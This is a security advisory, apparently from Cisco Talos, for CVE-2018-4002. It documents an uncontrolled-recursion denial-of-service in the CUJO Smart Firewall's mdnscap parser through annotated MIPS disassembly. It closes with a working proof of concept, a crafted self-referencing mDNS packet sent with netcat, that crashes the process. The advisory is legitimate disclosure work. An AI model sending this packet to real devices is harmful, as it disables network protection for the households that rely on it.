CVE-2018-4002
An exploitable denial-of-service vulnerability exists in the mdnscap
binary of the CUJO Smart Firewall running firmware 7003. When parsing labels in mDNS packets, the firewall unsafely handles label compression pointers, leading to an uncontrolled recursion that eventually exhausts the stack, crashing the mdnscap
process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.
CUJO Smart Firewall - Firmware version 7003
https://www.getcujo.com/smart-firewall-cujo/
5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE-674: Uncontrolled Recursion
CUJO AI produces the CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.
CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.
The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture. The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.
During normal operation, the core process is agent
— it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io
on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with “tappers,” which are processes meant to listen for a variety of network activities.
CUJO uses a set of custom “tappers” and other known network-related tools, whose names are self-explanatory: mdnscap
, dnscap
, dhcpcap
, arp-mitm
, p0f
, softflowd
, scannerd
, snort
. The device continuously updates the remote server when new network activities are detected.
In particular, the mdnscap
binary collects mDNS packets from the network. It does so by using the libpcap library.
Before starting the packet capture, the main
function drops the process’ privileges, constraining it in a chroot environment running as the _mdnscap
user.
Shortly after, the functions pcap_compile
and pcap_loop
are used to call the function sub_3F14
every time an UDP packet is received on port 5353.
.text:00003F14 # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000 li $gp, 0x1B0EC
.text:00003F1C 000 addu $gp, $t9
.text:00003F20 000 addiu $sp, -0xA8
.text:00003F24 0A8 sw $ra, 0xA8+var_4($sp)
.text:00003F28 0A8 sw $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8 move $fp, $sp
.text:00003F30 0A8 sw $gp, 0xA8+var_90($sp)
.text:00003F34 0A8 sw $a0, 0xA8+user($fp)
.text:00003F38 0A8 sw $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8 sw $a2, 0xA8+data($fp) # [1]
...
.text:00003FB4 0A8 lw $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8 nop
.text:00003FBC 0A8 lw $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8 nop
.text:00003FC4 0A8 sw $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8 addiu $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8 addiu $v0, $fp, 0xA8+data
.text:00003FF0 0A8 move $a3, $a1
.text:00003FF4 0A8 move $a2, $a0
.text:00003FF8 0A8 move $a1, $v1
.text:00003FFC 0A8 move $a0, $v0
.text:00004000 0A8 li $v0, 0
.text:00004004 0A8 nop
.text:00004008 0A8 addiu $v0, parse_ether
.text:0000400C 0A8 move $t9, $v0
.text:00004010 0A8 bal parse_ether # [2]
...
.text:00004058 0A8 bal parse_ip # [3]
...
.text:000040A4 0A8 bal parse_udp # [4]
...
.text:00004138 0A8 bal parse_mdns # [5]
The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally the mDNS payload is parsed by calling function [5].
.text:000039E0 parse_mdns:
...
.text:00003AE8 060 lw $v0, 0x60+mdns_data($fp) # [6]
.text:00003AEC 060 nop
.text:00003AF0 060 lhu $v1, 2($v0) # flags
.text:00003AF4 060 li $v0, 0xFFFF8000
.text:00003AF8 060 and $v0, $v1, $v0
.text:00003AFC 060 andi $v0, 0xFFFF
.text:00003B00 060 beqz $v0, loc_3B28 # [7] ensure QR=1
.text:00003B04 060 nop
.text:00003B08 060 lw $v0, 0x60+mdns_data($fp)
.text:00003B0C 060 nop
.text:00003B10 060 lhu $v0, 2($v0)
.text:00003B14 060 nop
.text:00003B18 060 andi $v0, 0x200
.text:00003B1C 060 andi $v0, 0xFFFF
.text:00003B20 060 beqz $v0, loc_3B34 # [8] ensure TC=0
.text:00003B24 060 nop
...
.text:00003B34 loc_3B34:
...
.text:00003BBC 060 addiu $a1, $v0, aQueries # "QUERIES:\n"
.text:00003BC0 060 move $a0, $zero
.text:00003BC4 060 la $v0, verbprintind
.text:00003BC8 060 nop
.text:00003BCC 060 move $t9, $v0
.text:00003BD0 060 bal verbprintind
...
.text:00003C18 060 sw $zero, 0x60+query($sp) # type
.text:00003C1C 060 move $a3, $a0 # mdns_total_entries
.text:00003C20 060 move $a2, $v1 # mdns_sections_ptr
.text:00003C24 060 lw $a1, 0x60+mdns_data_end($fp) # mdns_data_end
.text:00003C28 060 lw $a0, 0x60+mdns_data_2($fp) # mdns_data
.text:00003C2C 060 li $v0, 0
.text:00003C30 060 nop
.text:00003C34 060 addiu $v0, parse_mdns_records
.text:00003C38 060 move $t9, $v0
.text:00003C3C 060 bal parse_mdns_records # [9]
...
.text:00003C6C 060 addiu $a1, $v0, aAnswers # "ANSWERS:\n"
...
.text:00003CF0 060 bal parse_mdns_records # [10]
...
.text:00003D20 060 addiu $a1, $v0, aAuthority # "AUTHORITY:\n"
...
.text:00003DA4 060 bal parse_mdns_records # [11]
...
.text:00003DD4 060 addiu $a1, $v0, aAdditional # "ADDITIONAL:\n"
...
.text:00003E58 060 bal parse_mdns_records # [12]
The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).
Then, for each section (“question” [9], “answer” [10], “authority” [11] and “additional” [12]), the function parse_mdns_records
is called.
.text:000035F0 # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060 b loc_3928
.text:00003678 060 nop
.text:0000367C
.text:0000367C loc_367C: # [13] loop
.text:0000367C 060 lw $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060 lw $a1, 0x60+mdns_data_end($fp)
.text:00003684 060 lw $a0, 0x60+mdns_data($fp)
.text:00003688 060 li $v0, 0
.text:0000368C 060 nop
.text:00003690 060 addiu $v0, dns_parse_name
.text:00003694 060 move $t9, $v0
.text:00003698 060 bal dns_parse_name # [14]
.text:0000369C 060 nop
.text:000036A0 060 lw $gp, 0x60+var_48($fp)
.text:000036A4 060 sw $v0, 0x60+query_name($fp) # [15]
The function loops [13] over each entry in the section (either “question”, “answer”, “authority” or “additional”).
At [14], the entry’s DNS name is extracted by calling dns_parse_name
, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name
).
.text:000023D0 dns_parse_name:
...
.text:00002418 040 lw $v0, 0x40+mdns_questions_ptr($fp)
.text:0000241C 040 nop
.text:00002420 040 lw $v0, 0($v0)
.text:00002424 040 nop
.text:00002428 040 lbu $v0, 0($v0) # [16]
.text:0000242C 040 nop
.text:00002430 040 sw $v0, 0x40+var_10($fp)
...
.text:000024AC 040 lw $v0, 0x40+var_10($fp)
.text:000024B0 040 nop
.text:000024B4 040 andi $v0, 0xC0 # [17]
.text:000024B8 040 beqz $v0, loc_252C
.text:000024BC 040 nop
.text:000024C0 040 lw $v0, 0x40+mdns_questions_ptr($fp)
.text:000024C4 040 nop
.text:000024C8 040 lw $v0, 0($v0)
.text:000024CC 040 addiu $v1, $fp, 0x40+buf_ptr
.text:000024D0 040 move $a3, $v1
.text:000024D4 040 move $a2, $v0
.text:000024D8 040 lw $a1, 0x40+mdns_data_end($fp)
.text:000024DC 040 lw $a0, 0x40+mdns_data($fp)
.text:000024E0 040 li $v0, 0
.text:000024E4 040 nop
.text:000024E8 040 addiu $v0, compression_label
.text:000024EC 040 move $t9, $v0
.text:000024F0 040 bal compression_label # [18]
...
.text:0000252C loc_252C:
.text:0000252C 040 lw $v0, 0x40+mdns_questions_ptr($fp)
.text:00002530 040 nop
.text:00002534 040 lw $v0, 0($v0)
.text:00002538 040 addiu $v1, $fp, 0x40+buf_ptr
.text:0000253C 040 move $a3, $v1
.text:00002540 040 move $a2, $v0
.text:00002544 040 lw $a1, 0x40+mdns_data_end($fp)
.text:00002548 040 lw $a0, 0x40+mdns_data($fp)
.text:0000254C 040 li $v0, 0
.text:00002550 040 nop
.text:00002554 040 addiu $v0, data_label
.text:00002558 040 move $t9, $v0
.text:0000255C 040 bal data_label # [19]
The function dns_parse_name
takes care of extracting the DNS name from the current record. It extracts the first byte of the name [16] and checks whether it represents the length of a data label or the offset of a compression label [17] and calls function [19] or [18], respectively.
Both data_label
and compression_label
work together in a recursive loop:
.text:00001F1C compression_label:
...
.text:00001FDC
.text:00001FDC loc_1FDC: # [20] extract the offset
.text:00001FDC 038 lw $v0, 0x38+var_1C($fp)
.text:00001FE0 038 nop
.text:00001FE4 038 lbu $v0, 0($v0)
.text:00001FE8 038 nop
.text:00001FEC 038 sll $v0, 8
.text:00001FF0 038 sll $v0, 16
.text:00001FF4 038 sra $v0, 16
.text:00001FF8 038 andi $v0, 0x3F00
.text:00001FFC 038 sll $v1, $v0, 16
.text:00002000 038 sra $v1, 16
.text:00002004 038 lw $v0, 0x38+var_1C($fp)
.text:00002008 038 nop
.text:0000200C 038 addiu $v0, 1
.text:00002010 038 lbu $v0, 0($v0)
.text:00002014 038 nop
.text:00002018 038 sll $v0, 16
.text:0000201C 038 sra $v0, 16
.text:00002020 038 or $v0, $v1, $v0
.text:00002024 038 sll $v0, 16
.text:00002028 038 sra $v0, 16
.text:0000202C 038 sh $v0, 0x38+offset($fp)
.text:00002030 038 lw $v0, 0x38+var_1C($fp)
.text:00002034 038 nop
.text:00002038 038 addiu $v0, 2
.text:0000203C 038 sw $v0, 0x38+var_1C($fp)
.text:00002040 038 lhu $v0, 0x38+offset($fp)
.text:00002044 038 lw $v1, 0x38+var_14($fp)
.text:00002048 038 nop
.text:0000204C 038 addu $v1, $v0
.text:00002050 038 lw $v0, 0x38+var_14($fp)
.text:00002054 038 nop
.text:00002058 038 sltu $v0, $v1, $v0
.text:0000205C 038 bnez $v0, loc_2088
.text:00002060 038 nop
.text:00002064 038 lhu $v0, 0x38+offset($fp)
.text:00002068 038 lw $v1, 0x38+var_14($fp)
.text:0000206C 038 nop
.text:00002070 038 addu $v1, $v0
.text:00002074 038 lw $v0, 0x38+var_18($fp)
.text:00002078 038 nop
.text:0000207C 038 sltu $v0, $v1, $v0 # bound checks
.text:00002080 038 bnez $v0, loc_20C4
.text:00002084 038 nop
...
.text:000020C4
.text:000020C4 loc_20C4:
.text:000020C4 038 lhu $v0, 0x38+offset($fp)
.text:000020C8 038 lw $v1, 0x38+var_14($fp)
.text:000020CC 038 nop
.text:000020D0 038 addu $v0, $v1, $v0
.text:000020D4 038 lb $v0, 0($v0)
.text:000020D8 038 nop
.text:000020DC 038 andi $v0, 0xC0 # [21]
.text:000020E0 038 beqz $v0, loc_2124
.text:000020E4 038 nop
.text:000020E8 038 li $v0, 0
.text:000020EC 038 nop
.text:000020F0 038 addiu $a1, $v0, aCompression_la # "compression_label"
.text:000020F4 038 li $v0, 0
.text:000020F8 038 nop
.text:000020FC 038 addiu $a0, $v0, aSDoubleIndirec # "%s: double indirection"
.text:00002100 038 la $v0, warnx
.text:00002104 038 nop
.text:00002108 038 move $t9, $v0
.text:0000210C 038 jalr $t9 ; warnx
.text:00002110 038 nop
.text:00002114 038 lw $gp, 0x38+var_28($fp)
.text:00002118 038 move $v0, $zero
.text:0000211C 038 b loc_2164
.text:00002120 038 nop
.text:00002124
.text:00002124 loc_2124:
.text:00002124 038 lhu $v0, 0x38+offset($fp)
.text:00002128 038 lw $v1, 0x38+var_14($fp)
.text:0000212C 038 nop
.text:00002130 038 addu $v0, $v1, $v0
.text:00002134 038 lw $a3, 0x38+var_20($fp)
.text:00002138 038 move $a2, $v0
.text:0000213C 038 lw $a1, 0x38+var_18($fp)
.text:00002140 038 lw $a0, 0x38+var_14($fp)
.text:00002144 038 li $v0, 0
.text:00002148 038 nop
.text:0000214C 038 addiu $v0, data_label
.text:00002150 038 move $t9, $v0
.text:00002154 038 bal data_label # [22]
.text:00002158 038 nop
...
Function copmression_label
extracts the offset [20] that points to the compression target. Then, it ensures that the offset points to a data label [21], and extracts the compression target [22].
.text:00001C14 data_label:
...
# bound checks
...
.text:00001CF4 loc_1CF4:
.text:00001CF4 038 lbu $v0, 0x38+label_length($fp)
.text:00001CF8 038 nop
.text:00001CFC 038 andi $v0, 0xC0 # [23] compressed label?
.text:00001D00 038 beqz $v0, loc_1D3C
.text:00001D04 038 nop
.text:00001D08 038 lw $a3, 0x38+buf_ptr($fp)
.text:00001D0C 038 lw $a2, 0x38+mdns_questions_ptr($fp)
.text:00001D10 038 lw $a1, 0x38+mdns_data_end($fp)
.text:00001D14 038 lw $a0, 0x38+mdns_data($fp)
.text:00001D18 038 li $v0, 0
.text:00001D1C 038 nop
.text:00001D20 038 addiu $v0, compression_label
.text:00001D24 038 move $t9, $v0
.text:00001D28 038 bal compression_label # [24]
.text:00001D2C 038 nop
.text:00001D30 038 lw $gp, 0x38+var_28($fp)
.text:00001D34 038 b loc_1ED8
.text:00001D38 038 nop
.text:00001D3C
... # [25]
.text:00001E14 038 addiu $a1, $v0, a_ # "."
.text:00001E18 038 lw $a0, 0x38+buf_ptr($fp)
.text:00001E1C 038 la $v0, bufconcatstr
.text:00001E20 038 nop
.text:00001E24 038 move $t9, $v0
.text:00001E28 038 bal bufconcatstr
.text:00001E2C 038 nop
.text:00001E30 038 lw $gp, 0x38+var_28($fp)
.text:00001E34 038 move $v1, $v0
.text:00001E38 038 li $v0, 0xFFFFFFFF
.text:00001E3C 038 bne $v1, $v0, loc_1E50
...
.text:00001E50 loc_1E50:
.text:00001E50 038 lbu $v0, 0x38+label_length($fp)
.text:00001E54 038 nop
.text:00001E58 038 move $a2, $v0
.text:00001E5C 038 lw $a1, 0x38+mdns_questions_ptr($fp)
.text:00001E60 038 lw $a0, 0x38+buf_ptr($fp)
.text:00001E64 038 la $v0, bufconcatstr
.text:00001E68 038 nop
.text:00001E6C 038 move $t9, $v0
.text:00001E70 038 bal bufconcatstr
.text:00001E74 038 nop
.text:00001E78 038 lw $gp, 0x38+var_28($fp)
.text:00001E7C 038 move $v1, $v0
.text:00001E80 038 li $v0, 0xFFFFFFFF
.text:00001E84 038 bne $v1, $v0, loc_1E98
...
.text:00001E98 loc_1E98:
.text:00001E98 038 lbu $v0, 0x38+label_length($fp)
.text:00001E9C 038 lw $v1, 0x38+mdns_questions_ptr($fp)
.text:00001EA0 038 nop
.text:00001EA4 038 addu $v0, $v1, $v0
.text:00001EA8 038 lw $a3, 0x38+buf_ptr($fp)
.text:00001EAC 038 move $a2, $v0
.text:00001EB0 038 lw $a1, 0x38+mdns_data_end($fp)
.text:00001EB4 038 lw $a0, 0x38+mdns_data($fp)
.text:00001EB8 038 li $v0, 0
.text:00001EBC 038 nop
.text:00001EC0 038 addiu $v0, data_label
.text:00001EC4 038 move $t9, $v0
.text:00001EC8 038 bal data_label # [26] recursion
.text:00001ECC 038 nop
Function data_label
checks if the current data pointer, to check if it’s parsing a data label or a compressed label [23]. In case it’s a compressed label, it will call the function compression_label
[24], otherwise it extracts the data label [25] and calls itself [26] to parse the next label.
The check at [21] avoids compressed labels that reference each other. However, since the compression offset can point anywhere within the mDNS packet, an attacker can easily point the offset to the current DNS name being parsed.
If the current DNS name is made of a data label plus a compressed label that points back to the data label, an infinite recursion occurs, leading to stack exhaustion and crashing of the mdnscap
process.
Note that an additional way to reach the same vulnerable path exists: when a “PTR” (type 12) resource record is present, its “RDATA” field is extracted using the dns_parse_name
function, which can lead to the same infinite recursion issue.
The following proof of concept shows how to crash the mdnscap
process.
Consider the following input file:
$ hexdump input.bin
0000000 12 34 80 00 00 01 00 00 00 00 00 00 01 41 c0 0c
0000010 00 b0 b1 c0 c1
0000015
We have one “question” entry, whose name is “01 41 c0 0c 00”.
The following command crashes mdnscap
:
$ nc -u $CUJO_IP 5353 < input.bin
2018-09-18 - Vendor Disclosure
2019-03-19- - Public Release
Discovered by Claudio Bozzato of Cisco Talos.